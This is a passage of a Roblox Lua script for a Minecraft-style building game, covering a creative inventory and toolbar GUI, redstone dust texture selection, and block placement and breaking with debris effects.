  944. function makeImage(position, size, image, parent, zindex)
  945. local imglabel = Instance.new("ImageLabel", parent)
  946. imglabel.BorderSizePixel = 0
  947. imglabel.BackgroundTransparency = 1
  948. imglabel.Position = position
  949. imglabel.Size = size
  950. imglabel.Image = image
  951. if zindex == nil then imglabel.ZIndex = 1 else imglabel.ZIndex = zindex end
  952. return imglabel
  953. end
  954. function putInventorySlot(position, image, parent, zindex)
  955. local button = Instance.new("TextButton", parent)
  956. button.Position = position
  957. button.Size = UDim2.new(0, 36, 0, 36)
  958. button.BackgroundColor3 = Color3.new(139/255, 139/255, 139/255)
  959. button.Text = ""
  960. button.BorderSizePixel = 0
  961. button.ZIndex = zindex
  962. local imageLabel = Instance.new("ImageLabel", button)
  963. imageLabel.BackgroundTransparency = 0.9
  964. imageLabel.Position = UDim2.new(0, 2, 0, 2)
  965. imageLabel.Size = UDim2.new(0, 32, 0, 32)
  966. imageLabel.Image = image
  967. imageLabel.BorderSizePixel = 0
  968. imageLabel.ZIndex = zindex
  969. makeSquare(UDim2.new(0, 0, 0, 0), UDim2.new(0, 34, 0, 2),
  970. Color3.new(55/255, 55/255, 55/255), 0, button, zindex)
  971. makeSquare(UDim2.new(0, 0, 0, 0), UDim2.new(0, 2, 0, 34),
  972. Color3.new(55/255, 55/255, 55/255), 0, button, zindex)
  973. makeSquare(UDim2.new(0, 34, 0, 2), UDim2.new(0, 2, 0, 34),
  974. Color3.new(255/255, 255/255, 255/255), 0, button, zindex)
  975. makeSquare(UDim2.new(0, 2, 0, 34), UDim2.new(0, 34, 0, 2),
  976. Color3.new(255/255, 255/255, 255/255), 0, button, zindex)
  977. return button
  978. end
  979.  
  980. function AngleDifference(Angle1, Angle2)
  981. local Difference = {X = 0, Y = 0, Z = 0}
  982. Difference.X = Angle2.X - Angle1.X
  983.  
  984. if (Difference.X > 180) then
  985. Difference.X = Difference.X - 360
  986. elseif (Difference.X < -180) then
  987. Difference.X = Difference.X + 360
  988. end
  989.  
  990. Difference.Y = Angle2.Y - Angle1.Y
  991.  
  992. if (Difference.Y > 180) then
  993. Difference.Y = Difference.Y - 360
  994. elseif (Difference.Y < -180) then
  995. Difference.Y = Difference.Y + 360
  996. end
  997.  
  998. Difference.Z = Angle2.Z - Angle1.Z
  999.  
  1000. if (Difference.Z > 180) then
  1001. Difference.Z = Difference.Z - 360
  1002. elseif (Difference.Z < -180) then
  1003. Difference.Z = Difference.Z + 360
  1004. end
  1005.  
  1006. return Vector3.new(Difference.X, Difference.Y, Difference.Z)
  1007. end
  1008.  
  1009. local draggingBlock = nil
  1010. function makeInventory()
  1011. local playerGui = player:FindFirstChild("PlayerGui")
  1012. if playerGui then
  1013. local invGui = Instance.new("ScreenGui", playerGui)
  1014. local creativeInv = Instance.new("Frame", invGui)
  1015. creativeInv.BackgroundTransparency = 1
  1016. creativeInv.Position = UDim2.new(0.5, -170, 0.5, -202)
  1017.  
  1018. creativeInv.Visible = false
  1019.  
  1020. -- creative inventory GUI...
  1021.  
  1022. local blackOut = makeSquare(UDim2.new(0, 0, 0, 0), UDim2.new(1, 0, 1, 0),
  1023. Color3.new(0/255, 0/255, 0/255), 0.3, invGui, 1)
  1024. blackOut.Visible = false
  1025.  
  1026. creativeInv.Changed:connect(function()
  1027. blackOut.Visible = creativeInv.Visible
  1028. end)
  1029.  
  1030. local changeLog = Instance.new("TextLabel", invGui)
  1031. changeLog.Text = Changelog
  1032. changeLog.Font = "SourceSans"
  1033. changeLog.FontSize = Enum.FontSize.Size12
  1034. changeLog.Size = UDim2.new(0, changeLog.TextBounds.X, 0, changeLog.TextBounds.Y + 2)
  1035. changeLog.BackgroundColor3 = Color3.new(0, 0, 0)
  1036. changeLog.BorderSizePixel = 0
  1037. changeLog.BackgroundTransparency = 0.5
  1038. changeLog.Position = UDim2.new(0.5, -changeLog.Size.X.Offset/2, 0.5, -changeLog.Size.Y.Offset/2)
  1039. changeLog.TextColor3 = Color3.new(1, 1, 1)
  1040. changeLog.TextXAlignment = "Left"
  1041. changeLog.TextYAlignment = "Top"
  1042.  
  1043. local coolButton = Instance.new("TextButton", changeLog)
  1044. coolButton.Position = UDim2.new(1, -17, 0, 1)
  1045. coolButton.Size = UDim2.new(0, 16, 0, 12)
  1046. coolButton.Text = "X"
  1047. coolButton.Font = "SourceSans"
  1048. coolButton.FontSize = Enum.FontSize.Size12
  1049. coolButton.BorderSizePixel = 0
  1050. coolButton.BackgroundColor3 = Color3.new(1, 0, 0)
  1051. coolButton.BackgroundTransparency = 0.2
  1052. coolButton.TextColor3 = Color3.new(1, 1, 1)
  1053. coolButton.TextStrokeTransparency = 0.5
  1054. coolButton.ZIndex = 2
  1055.  
  1056. local line = makeSquare(UDim2.new(0, 0, 1, -14), UDim2.new(1, 0, 0, 14),
  1057. Color3.new(0, 0, 0), 0.75, changeLog, 2)
  1058.  
  1059. local line2 = makeSquare(UDim2.new(0, 0, 0, 0), UDim2.new(1, 0, 0, 14),
  1060. Color3.new(1, 1, 1), 0.9, changeLog, 1)
  1061.  
  1062. line2.Text = "Change Log"
  1063. line2.TextColor3 = Color3.new(1, 1, 1)
  1064. line2.TextStrokeTransparency = 0.75
  1065. line2.Font = "SourceSans"
  1066. line2.FontSize = Enum.FontSize.Size12
  1067.  
  1068. line.Text = "Made by Depr1"
  1069. line.TextColor3 = Color3.new(1, 0.65, 0)
  1070. line.TextStrokeTransparency = 0.5
  1071. line.Font = "SourceSans"
  1072. line.FontSize = Enum.FontSize.Size14
  1073. line.TextXAlignment = "Left"
  1074.  
  1075. coolButton.MouseButton1Click:connect(function()
  1076. changeLog.Visible = false
  1077. end)
  1078.  
  1079. makeSquare(UDim2.new(0, -2, 0, 2), UDim2.new(0, 340, 0, 404),
  1080. Color3.new(198/255, 198/255, 198/255), 0, creativeInv, 3)
  1081. makeSquare(UDim2.new(0, 338, 0, 0), UDim2.new(0, 6, 0, 406),
  1082. Color3.new(85/255, 85/255, 85/255), 0, creativeInv, 2)
  1083. makeSquare(UDim2.new(0, 0, 0, 404), UDim2.new(0, 342, 0, 4),
  1084. Color3.new(85/255, 85/255, 85/255), 0, creativeInv, 3)
  1085. makeSquare(UDim2.new(0, 2, 0, 0), UDim2.new(0, 338, 0, 402),
  1086. Color3.new(198/255, 198/255, 198/255), 0, creativeInv, 3)
  1087. makeSquare(UDim2.new(0, -4, 0, -2), UDim2.new(0, 4, 0, 406),
  1088. Color3.new(255/255, 255/255, 255/255), 0, creativeInv, 3)
  1089. makeSquare(UDim2.new(0, -2, 0, -4), UDim2.new(0, 342, 0, 6),
  1090. Color3.new(255/255, 255/255, 255/255), 0, creativeInv, 2)
  1091. makeSquare(UDim2.new(0, 340, 0, -2), UDim2.new(0, 2, 0, 2),
  1092. Color3.new(198/255, 198/255, 198/255), 0, creativeInv, 2)
  1093. makeSquare(UDim2.new(0, 340, 0, -4), UDim2.new(0, 2, 0, 4),
  1094. Color3.new(0/255, 0/255, 0/255), 0, creativeInv, 1)
  1095. makeSquare(UDim2.new(0, 342, 0, -2), UDim2.new(0, 2, 0, 2),
  1096. Color3.new(0/255, 0/255, 0/255), 0, creativeInv, 1)
  1097. makeSquare(UDim2.new(0, 344, 0, 0), UDim2.new(0, 2, 0, 406),
  1098. Color3.new(0/255, 0/255, 0/255), 0, creativeInv, 1)
  1099. makeSquare(UDim2.new(0, -4, 0, -4), UDim2.new(0, 2, 0, 4),
  1100. Color3.new(0/255, 0/255, 0/255), 0, creativeInv, 1)
  1101. makeSquare(UDim2.new(0, -2, 0, -6), UDim2.new(0, 342, 0, 4),
  1102. Color3.new(0/255, 0/255, 0/255), 0, creativeInv, 1)
  1103. makeSquare(UDim2.new(0, 0, 0, 406), UDim2.new(0, 342, 0, 4),
  1104. Color3.new(0/255, 0/255, 0/255), 0, creativeInv, 1)
  1105. makeSquare(UDim2.new(0, 342, 0, 404), UDim2.new(0, 2, 0, 4),
  1106. Color3.new(0/255, 0/255, 0/255), 0, creativeInv, 1)
  1107. makeSquare(UDim2.new(0, -4, 0, 404), UDim2.new(0, 2, 0, 2),
  1108. Color3.new(0/255, 0/255, 0/255), 0, creativeInv, 1)
  1109. makeSquare(UDim2.new(0, -2, 0, 406), UDim2.new(0, 2, 0, 2),
  1110. Color3.new(0/255, 0/255, 0/255), 0, creativeInv, 1)
  1111. makeSquare(UDim2.new(0, -6, 0, -2), UDim2.new(0, 2, 0, 406),
  1112. Color3.new(0/255, 0/255, 0/255), 0, creativeInv, 1)
  1113. local text = makeSquare(UDim2.new(0, 4, 0, 8), UDim2.new(0, 0, 0, 0), Color3.new(0/255, 0/255, 0/255), 1, creativeInv, 3)
  1114. text.Text = "Creative Inventory"
  1115. text.Font = "SourceSansSemibold"
  1116. text.TextSize = 14
  1117. text.TextXAlignment = "Left"
  1118. --
  1119. local draggingBlockPicture = Instance.new("ImageLabel", invGui)
  1120. draggingBlockPicture.BackgroundTransparency = 1
  1121. draggingBlockPicture.Size = UDim2.new(0, 32, 0, 32)
  1122. draggingBlockPicture.ZIndex = 5
  1123. coroutine.resume(coroutine.create(function()
  1124. local invMouse = player:GetMouse()
  1125. --local RS = game:GetService("RunService").RenderStepped
  1126. invMouse.Button2Down:connect(function()
  1127. draggingBlock = nil
  1128. end)
  1129. while RS:wait() do
  1130. draggingBlockPicture.Position = UDim2.new(0, invMouse.X - 16, 0, invMouse.Y - 16)
  1131. if draggingBlock ~= nil then
  1132. draggingBlockPicture.Image = draggingBlock.frontTex
  1133. else
  1134. draggingBlockPicture.Image = ""
  1135. end
  1136. end
  1137. end))
  1138.  
  1139. local done = false
  1140. local x = 0
  1141. local y = 0
  1142.  
  1143. for i,b in pairs(creativeInventory) do
  1144. local display = ""
  1145. if b.displayTex == "" then
  1146. display = b.frontTex
  1147. else
  1148. if b.displayTex then
  1149. display = b.displayTex
  1150. end
  1151. end
  1152. putInventorySlot(UDim2.new(0.5, (x*36) + 8, 0.5, (y*36) + 28), display, creativeInv, 4).MouseButton1Down:connect(function()
  1153. if draggingBlock == nil then
  1154. draggingBlock = b
  1155. end
  1156. end)
  1157. x = x + 1
  1158. if x >= 8 then
  1159. x = 0
  1160. y = y + 1
  1161. end
  1162. end
  1163. if x == 0 then done = true end
  1164. while x < 8 and done == false do
  1165. putInventorySlot(UDim2.new(0.5, (x*36) + 8, 0.5, (y*36) + 28), "", creativeInv, 4)
  1166. x = x + 1
  1167. end
  1168. for i = 1, 9 do
  1169. if toolBar[i] ~= nil then
  1170. local invSlot = putInventorySlot(UDim2.new(0, 8 + ((i-1)*36), 0, 360), toolBar[i].frontTex, creativeInv, 4)
  1171. invSlot.MouseButton2Down:connect(function()
  1172. local imgLabel = invSlot:FindFirstChild("ImageLabel")
  1173. if imgLabel then
  1174. toolBar[i] = nil
  1175. imgLabel.Image = ""
  1176. end
  1177. end)
  1178. invSlot.MouseButton1Down:connect(function()
  1179. --updateHand = true
  1180. local imgLabel = invSlot:FindFirstChild("ImageLabel")
  1181. if toolBar[i] == nil then
  1182. toolBar[i] = draggingBlock
  1183. imgLabel.Image = draggingBlock.frontTex
  1184. draggingBlock = nil
  1185. return
  1186. end
  1187. if toolBar[i] ~= nil and draggingBlock == nil then
  1188. draggingBlock = toolBar[i]
  1189. toolBar[i] = nil
  1190. imgLabel.Image = ""
  1191. return
  1192. elseif toolBar[i] ~= nil and draggingBlock ~= nil then
  1193. --draggingBlock = toolBar[i]
  1194. --toolBar[i] = nil
  1195. imgLabel.Image = ""
  1196. local temp = toolBar[i]
  1197. toolBar[i] = draggingBlock
  1198. if imgLabel and draggingBlock ~= nil then
  1199. imgLabel.Image = draggingBlock.frontTex
  1200. end
  1201. if imgLabel and draggingBlock == nil then
  1202. imgLabel.Image = ""
  1203. end
  1204. draggingBlock = temp
  1205. return
  1206. end
  1207. end)
  1208. else
  1209. local invSlot = putInventorySlot(UDim2.new(0, 8 + ((i-1)*36), 0, 360), "", creativeInv, 4)
  1210. invSlot.MouseButton2Down:connect(function()
  1211. local imgLabel = invSlot:FindFirstChild("ImageLabel")
  1212. if imgLabel then
  1213. toolBar[i] = nil
  1214. imgLabel.Image = ""
  1215. end
  1216. end)
  1217. invSlot.MouseButton1Down:connect(function()
  1218. --updateHand = true
  1219. local imgLabel = invSlot:FindFirstChild("ImageLabel")
  1220. if toolBar[i] == nil then
  1221. toolBar[i] = draggingBlock
  1222. imgLabel.Image = draggingBlock.frontTex
  1223. draggingBlock = nil
  1224. return
  1225. end
  1226. if toolBar[i] ~= nil and draggingBlock == nil then
  1227. draggingBlock = toolBar[i]
  1228. toolBar[i] = nil
  1229. imgLabel.Image = ""
  1230. return
  1231. elseif toolBar[i] ~= nil and draggingBlock ~= nil then
  1232. --draggingBlock = toolBar[i]
  1233. --toolBar[i] = nil
  1234. imgLabel.Image = ""
  1235. local temp = toolBar[i]
  1236. toolBar[i] = draggingBlock
  1237. if imgLabel and draggingBlock ~= nil then
  1238. imgLabel.Image = draggingBlock.frontTex
  1239. end
  1240. if imgLabel and draggingBlock == nil then
  1241. imgLabel.Image = ""
  1242. end
  1243. draggingBlock = temp
  1244. return
  1245. end
  1246. end)
  1247. end
  1248. end
  1249. return creativeInv
  1250. end
  1251. end
  1252. function putToolBarSlot(position, image, zindex)
  1253. local playerGui = player:FindFirstChild("PlayerGui")
  1254. if playerGui then
  1255. local gui = playerGui:FindFirstChild("ToolBar") or Instance.new("ScreenGui", playerGui)
  1256. gui.Name = "ToolBar"
  1257. local slot = Instance.new("ImageLabel", gui)
  1258. slot.Position = position
  1259. slot.Size = UDim2.new(0, 32, 0, 32)
  1260. slot.BackgroundTransparency = 1
  1261. slot.ImageTransparency = 0
  1262. slot.Image = image
  1263. slot.ZIndex = 2
  1264.  
  1265. local imgSlot = makeImage(UDim2.new(0, 0, 0, 0), UDim2.new(0, 32, 0, 32),
  1266. "rbxassetid://347007448", slot)
  1267.  
  1268. imgSlot.ImageTransparency = 0.25
  1269. imgSlot.BackgroundTransparency = 1
  1270. imgSlot.ImageColor3 = Color3.new(0.225, 0.225, 0.225)
  1271.  
  1272. makeSquare(UDim2.new(0, 0, 0, 0), UDim2.new(0, 2, 0, 32),
  1273. Color3.new(0/255, 0/255, 0/255), 0.7, slot)
  1274. makeSquare(UDim2.new(0, 2, 0, 0), UDim2.new(0, 30, 0, 2),
  1275. Color3.new(0/255, 0/255, 0/255), 0.7, slot)
  1276. makeSquare(UDim2.new(0, -2, 0, -2), UDim2.new(0, 36, 0, 2),
  1277. Color3.new(106/255, 106/255, 106/255), 0, slot)
  1278. makeSquare(UDim2.new(0, -2, 0, -2), UDim2.new(0, 2, 0, 36),
  1279. Color3.new(106/255, 106/255, 106/255), 0, slot)
  1280. makeSquare(UDim2.new(0, 0, 0, 32), UDim2.new(0, 34, 0, 2),
  1281. Color3.new(130/255, 130/255, 130/255), 0, slot)
  1282. makeSquare(UDim2.new(0, 32, 0, 0), UDim2.new(0, 2, 0, 34),
  1283. Color3.new(130/255, 130/255, 130/255), 0, slot)
  1284. makeSquare(UDim2.new(0, -4, 0, -2), UDim2.new(0, 2, 0, 38),
  1285. Color3.new(130/255, 130/255, 130/255), 0, slot)
  1286. makeSquare(UDim2.new(0, 34, 0, -2), UDim2.new(0, 2, 0, 36),
  1287. Color3.new(106/255, 106/255, 106/255), 0, slot)
  1288. makeSquare(UDim2.new(0, -2, 0, 34), UDim2.new(0, 38, 0, 2),
  1289. Color3.new(106/255, 106/255, 106/255), 0, slot)
  1290. makeSquare(UDim2.new(0, -4, 0, -4), UDim2.new(0, 40, 0, 2),
  1291. Color3.new(156/255, 156/255, 156/255), 0, slot)
  1292. return slot
  1293. end
  1294. end
  1295. function divide(x, d)
  1296. if x ~= 0 and d ~= 0 then
  1297. return x/d
  1298. else
  1299. return x
  1300. end
  1301. end -- so it doesn't divide by zero
  1302. function getDistance(v1, v2)
  1303. return math.abs((Vector3.new(math.abs(v2.X - v1.X), math.abs(v2.Y - v1.Y), math.abs(v2.Z - v1.Z))).Magnitude)
  1304. end
  1305. function SnapToGrid(x, gridX)
  1306. local x = math.floor((x / gridX) + 0.5) * gridX
  1307. return x
  1308. end
  1309. function round(x)
  1310. if x%2 ~= 0.5 then
  1311. return math.floor(x+0.5)
  1312. end
  1313. return x-0.5
  1314. end
  1315. function weldTo(part1, part2)
  1316. local weld = Instance.new("Weld", part1)
  1317. weld.Part0 = part1
  1318. weld.Part1 = part2
  1319. return weld
  1320. end
  1321. function getMagnitudeXZ(velocity)
  1322. return math.sqrt(math.abs(velocity.X)^2 + math.abs(velocity.Z)^2)
  1323. end
  1324. function findHumanoid(inst)
  1325. local find = inst
  1326. local hum = nil
  1327. repeat
  1328. if find.Name == "Workspace" then return nil end
  1329. find = find.Parent
  1330. hum = find:FindFirstChild("Humanoid")
  1331. until hum
  1332. --if hum then print("found!!") else print("aw... not found") end
  1333. --if hum.ClassName ~= "Humanoid" then hum = nil end
  1334. return hum
  1335. end
  1336. function getSideByLocation(loc)
  1337. local side = nil
  1338. if loc.X < 0 then side = "Left" end
  1339. if loc.X > 0 then side = "Right" end
  1340. if loc.Y > 0 then side = "Top" end
  1341. if loc.Y < 0 then side = "Bottom" end
  1342. if loc.Z < 0 then side = "Front" end
  1343. if loc.Z > 0 then side = "Back" end
  1344.  
  1345. if (math.abs(loc.X) > 0 and math.abs(loc.Y) > 0) or
  1346. (math.abs(loc.X) > 0 and math.abs(loc.Z) > 0) or
  1347. (math.abs(loc.Y) > 0 and math.abs(loc.Z) > 0)
  1348. then
  1349. return nil
  1350. end
  1351. return side
  1352. end
  1353. function getSideByLocationRedstone(loc)
  1354. local side = nil
  1355. if loc.X < 0 then side = "Left" end
  1356. if loc.X > 0 then side = "Right" end
  1357. if loc.Y > 0 then side = "Top" end
  1358. if loc.Y < 0 then side = "Bottom" end
  1359. if loc.Z < 0 then side = "Front" end
  1360. if loc.Z > 0 then side = "Back" end
  1361.  
  1362. if (math.abs(loc.X) > 0 and math.abs(loc.Y) > 0) or
  1363. (math.abs(loc.X) > 0 and math.abs(loc.Z) > 0) or
  1364. (math.abs(loc.Y) > 0 and math.abs(loc.Z) > 0)
  1365. then
  1366. return nil
  1367. end
  1368. return side
  1369. end
  1370. function getBlockAtRegion(region)
  1371. local blockFound = nil
  1372. for _,part in pairs(game.Workspace:FindPartsInRegion3(region, nil, math.huge)) do
  1373. local usePart = true
  1374. if part.Name == "Debris" then usePart = false end
  1375. if usePart == true then
  1376. blockFound = part
  1377. break
  1378. end
  1379. end
  1380. return blockFound
  1381. end
  1382. function getRedstoneAtRegion(region)
  1383. local blockFound = nil
  1384. for _,part in pairs(game.Workspace:FindPartsInRegion3(region, nil, math.huge)) do
  1385. if isRedstone(part) then
  1386. blockFound = part
  1387. break
  1388. end
  1389. end
  1390. return blockFound
  1391. end
  1392. function isRedstone(block)
  1393. local objType = block:FindFirstChild("ObjectType")
  1394. if objType then
  1395. if objType.Value == "Redstone Dust" then
  1396. return true
  1397. else
  1398. return false
  1399. end
  1400. end
  1401. end
  1402. function updateRedstoneDust(dust, leftBlk, rightBlk, topBlk, bottomBlk, frontBlk, backBlk, recursion)
  1403. local objType = nil
  1404. if dust then
  1405. objType = dust:FindFirstChild("ObjectType")
  1406. end
  1407.  
  1408. local redstoneDust = "rbxassetid://151911305"
  1409. local redstoneLine = "rbxassetid://151907047"
  1410. local redstoneCorner = "rbxassetid://151907106"
  1411. local redstoneT = "rbxassetid://151907156"
  1412. local redstoneCross = "rbxassetid://151906997"
  1413.  
  1414. local Rotation = 0
  1415.  
  1416. local theresRedstoneAtLeft = false
  1417. local theresRedstoneAtRight = false
  1418. local theresRedstoneAtFront = false
  1419. local theresRedstoneAtBack = false
  1420.  
  1421. if leftBlk then theresRedstoneAtLeft = isRedstone(leftBlk) end
  1422. if rightBlk then theresRedstoneAtRight = isRedstone(rightBlk) end
  1423. if frontBlk then theresRedstoneAtFront = isRedstone(frontBlk) end
  1424. if backBlk then theresRedstoneAtBack = isRedstone(backBlk) end
  1425.  
  1426. if objType then
  1427. if objType.Value == "Redstone Dust" then
  1428. local topDecal = dust:FindFirstChild("Top")
  1429. if topDecal then
  1430. if theresRedstoneAtBack == false and theresRedstoneAtFront == false and
  1431. theresRedstoneAtLeft == false and theresRedstoneAtRight == false then
  1432. topDecal.Texture = redstoneDust
  1433. Rotation = 0
  1434. end
  1435.  
  1436. if theresRedstoneAtLeft == true or theresRedstoneAtRight == true then
  1437. topDecal.Texture = redstoneLine
  1438. Rotation = 0
  1439. end
  1440.  
  1441. if theresRedstoneAtFront == true or theresRedstoneAtBack == true then
  1442. topDecal.Texture = redstoneLine
  1443. Rotation = 90
  1444. end
  1445.  
  1446. if theresRedstoneAtLeft == true and theresRedstoneAtBack == true then
  1447. topDecal.Texture = redstoneCorner
  1448. Rotation = 0
  1449. end
  1450.  
  1451. if theresRedstoneAtBack == true and theresRedstoneAtRight == true then
  1452. topDecal.Texture = redstoneCorner
  1453. Rotation = 90
  1454. end
  1455.  
  1456. if theresRedstoneAtRight == true and theresRedstoneAtFront == true then
  1457. topDecal.Texture = redstoneCorner
  1458. Rotation = 180
  1459. end
  1460.  
  1461. if theresRedstoneAtFront == true and theresRedstoneAtLeft == true then
  1462. topDecal.Texture = redstoneCorner
  1463. Rotation = -90
  1464. end
  1465.  
  1466. if theresRedstoneAtBack == true and theresRedstoneAtLeft == true
  1467. and theresRedstoneAtFront == true then
  1468. topDecal.Texture = redstoneT
  1469. Rotation = -90
  1470. end
  1471.  
  1472. if theresRedstoneAtLeft == true and theresRedstoneAtFront == true
  1473. and theresRedstoneAtRight == true then
  1474. topDecal.Texture = redstoneT
  1475. Rotation = -180
  1476. end
  1477.  
  1478. if theresRedstoneAtFront == true and theresRedstoneAtRight == true
  1479. and theresRedstoneAtBack == true then
  1480. topDecal.Texture = redstoneT
  1481. Rotation = 90
  1482. end
  1483.  
  1484. if theresRedstoneAtRight == true and theresRedstoneAtBack == true
  1485. and theresRedstoneAtLeft == true then
  1486. topDecal.Texture = redstoneT
  1487. Rotation = 0
  1488. end
  1489.  
  1490. if theresRedstoneAtLeft == true and theresRedstoneAtRight == true and
  1491. theresRedstoneAtFront == true and theresRedstoneAtBack == true then
  1492. topDecal.Texture = redstoneCross
  1493. Rotation = 0
  1494. end
  1495. end
  1496. else
  1497. error("Not redstone dust.")
  1498. end
  1499. end
  1500.  
  1501. if recursion == true then
  1502. local function updateTex(blockTarget)
  1503. local leftSide = nil
  1504. local rightSide = nil
  1505. local frontSide = nil
  1506. local backSide = nil
  1507.  
  1508. local Point1 = blockTarget.CFrame.p - Vector3.new(2.6, 0.1, 2.6)
  1509. local Point2 = blockTarget.CFrame.p + Vector3.new(2.6, 0.1, 2.6)
  1510. local Region = Region3.new(Point1, Point2)
  1511. for _,part in pairs(game.Workspace:FindPartsInRegion3(
  1512. Region,
  1513. nil,
  1514. math.huge
  1515. )) do
  1516. local objType = part:FindFirstChild("ObjectType")
  1517. if isRedstone(part) then
  1518. local side = getSideByLocationRedstone(blockTarget.CFrame.p - part.CFrame.p)
  1519. if side == "Left" then
  1520. leftSide = part
  1521. elseif side == "Right" then
  1522. rightSide = part
  1523. elseif side == "Front" then
  1524. frontSide = part
  1525. elseif side == "Back" then
  1526. backSide = part
  1527. elseif side == "Left Top" then
  1528. leftSide = part
  1529. elseif side == "Right Top" then
  1530. rightSide = part
  1531. elseif side == "Front Top" then
  1532. frontSide = part
  1533. elseif side == "Back Top" then
  1534. backSide = part
  1535. elseif side == "Left Bottom" then
  1536. leftSide = part
  1537. elseif side == "Right Bottom" then
  1538. rightSide = part
  1539. elseif side == "Front Bottom" then
  1540. frontSide = part
  1541. elseif side == "Back Bottom" then
  1542. backSide = part
  1543. end
  1544. end
  1545. end
  1546.  
  1547. updateRedstoneDust(blockTarget, leftSide, rightSide, nil, nil, frontSide, backSide, false)
  1548. end
  1549. if leftBlk and theresRedstoneAtLeft then updateTex(leftBlk) end
  1550. if rightBlk and theresRedstoneAtRight then updateTex(rightBlk) end
  1551. if frontBlk and theresRedstoneAtFront then updateTex(frontBlk) end
  1552. if backBlk and theresRedstoneAtBack then updateTex(backBlk) end
  1553. end
  1554.  
  1555. if dust then dust.CFrame = CFrame.new(dust.CFrame.p.X, dust.CFrame.p.Y, dust.CFrame.p.Z) * CFrame.Angles(0, math.rad(Rotation), 0) end
  1556. end
  1557. function placeBlock(block, cFPos, Mouse)
  1558. if block == nil then
  1559. if Mouse.Target.Size.X <= 10 and Mouse.Target.Size.Y <= 10 and Mouse.Target.Size.Z <= 10 and Mouse.Target then
  1560. if Mouse.Target.Parent.Name ~= "Camera" then
  1561. --print(Mouse.Target:GetFullName())
  1562. local blkTar = Mouse.Target
  1563. --Mouse.Target.Parent = nil
  1564. local blockIsRedstone = isRedstone(blkTar)
  1565.  
  1566. local Point1 = blkTar.CFrame.p - Vector3.new(2.7, 2.7, 2.7)
  1567. local Point2 = blkTar.CFrame.p + Vector3.new(2.7, 2.7, 2.7)
  1568. local Region = Region3.new(Point1, Point2)
  1569. for _,part in pairs(game.Workspace:FindPartsInRegion3(
  1570. Region,
  1571. nil,
  1572. math.huge
  1573. )) do
  1574.  
  1575. if part:FindFirstChild("IsBlock") then
  1576. local side1 = getSideByLocation(blkTar.CFrame.p - part.CFrame.p)
  1577. if getSideByLocation(blkTar.CFrame.p - part.CFrame.p) then
  1578. local texture = part:FindFirstChild(side1)
  1579. if texture then
  1580. texture.Transparency = 0
  1581. end
  1582. end
  1583. end
  1584. end
  1585.  
  1586. for i = 1, 9 do
  1587. local part = Instance.new("Part", workspace)
  1588. part.Size = Vector3.new(0, 0, 0)
  1589. part.Transparency = 1
  1590. part.CanCollide = false
  1591. part.Velocity = Vector3.new(math.random(-5, 5), 5, math.random(-5, 5))
  1592. part.Name = "Debris"
  1593.  
  1594. part.CFrame =
  1595. Mouse.Target.CFrame *
  1596. CFrame.new(math.random(-blkTar.Size.X/2, blkTar.Size.X/2), math.random(-blkTar.Size.Y/2, blkTar.Size.Y/2), math.random(-blkTar.Size.Z/2, blkTar.Size.Z/2))
  1597.  
  1598. part.CustomPhysicalProperties = PhysicalProperties.new(0, 0.2, 0, 100, 100)
  1599.  
  1600. local billboard = Instance.new("BillboardGui", part)
  1601. billboard.Size = UDim2.new(1.2, 0, 1.2, 0)
  1602.  
  1603. local clipDescendant = Instance.new("TextLabel", billboard)
  1604. clipDescendant.Size = UDim2.new(0.5, 0, 0.5, 0)
  1605. clipDescendant.BackgroundTransparency = 1
  1606. clipDescendant.Text = ""
  1607. clipDescendant.ClipsDescendants = true
  1608.  
  1609. local img = Instance.new("ImageLabel", clipDescendant)
  1610. img.Size = UDim2.new(2, 0, 2, 0)
  1611. img.BackgroundTransparency = 1
  1612. img.Position = UDim2.new(math.random(-70, 70)/100, 0, math.random(-70, 70)/100, 0)
  1613.  
  1614. local tex = blkTar:FindFirstChild("Front")
  1615. if tex then
  1616. img.Image = tex.Texture
  1617. else
  1618. img.Image = "rbxassetid://744949545"
  1619. end
  1620.  
  1621. if img.Image == "rbxassetid://744949545" then
  1622. img.ImageColor3 = blkTar.Color
  1623. end
  1624.  
  1625. part.Touched:connect(function(prt)
  1626. if prt ~= blkTar then
  1627. part.CanCollide = true
  1628. end
  1629. end)
  1630.  
  1631. coroutine.resume(coroutine.create(function()
  1632. wait(math.random(50, 65)/100)
  1633. part:Destroy()
  1634. end))
  1635. --part.Anchored = false
  1636. end
  1637. blkTar:Destroy()
  1638. if blockIsRedstone == true then
  1639. local leftSide = nil
  1640. local rightSide = nil
  1641. local frontSide = nil
  1642. local backSide = nil
  1643.  
  1644. local Point1 = blkTar.CFrame.p - Vector3.new(2.6, 0.1, 2.6)
  1645. local Point2 = blkTar.CFrame.p + Vector3.new(2.6, 0.1, 2.6)
  1646. local Region = Region3.new(Point1, Point2)
  1647. for _,part in pairs(game.Workspace:FindPartsInRegion3(
  1648. Region,
  1649. nil,
  1650. math.huge
  1651. )) do
  1652. local objType = part:FindFirstChild("ObjectType")
  1653. if isRedstone(part) then
  1654. local side = getSideByLocationRedstone(blkTar.CFrame.p - part.CFrame.p)
  1655. if side == "Left" then
  1656. leftSide = part
  1657. elseif side == "Right" then
  1658. rightSide = part
  1659. elseif side == "Front" then
  1660. frontSide = part
  1661. elseif side == "Back" then
  1662. backSide = part
  1663. elseif side == "Left Top" then
  1664. leftSide = part
  1665. elseif side == "Right Top" then
  1666. rightSide = part
  1667. elseif side == "Front Top" then
  1668. frontSide = part
  1669. elseif side == "Back Top" then
  1670. backSide = part
  1671. elseif side == "Left Bottom" then
  1672. leftSide = part
  1673. elseif side == "Right Bottom" then
  1674. rightSide = part
  1675. elseif side == "Front Bottom" then
  1676. frontSide = part
  1677. elseif side == "Back Bottom" then
  1678. backSide = part
  1679. end
  1680. end
  1681. end
  1682.  
  1683. updateRedstoneDust(nil, leftSide, rightSide, nil, nil, frontSide, backSide, true)
  1684. end
  1685. end
  1686. end
  1687. return nil
  1688. else
  1689. local blkMouseTarget = Mouse.Target
  1690.  
  1691. local blockPlaced = Instance.new("Part", workspace)
  1692. blockPlaced.Material = "Fabric"
  1693. blockPlaced.Transparency = block.transparency
  1694. blockPlaced.Anchored = true
  1695. blockPlaced.Size = block.size
  1696.  
  1697. blockPlaced.CFrame = cFPos
  1698.  
  1699. local blockType = Instance.new("StringValue", blockPlaced)
  1700. blockType.Name = "ObjectType"
  1701. blockType.Value = block.objectType
  1702.  
  1703. blockPlaced.Name = block.name
  1704. putTexture(blockPlaced, block.frontTex, block.backTex,
  1705. block.topTex, block.bottomTex, block.leftTex, block.rightTex, "Texture")
  1706.  
  1707. if block.objectType == "Slab" then
  1708. blockPlaced.Size = blockPlaced.Size / Vector3.new(1, 2, 1)
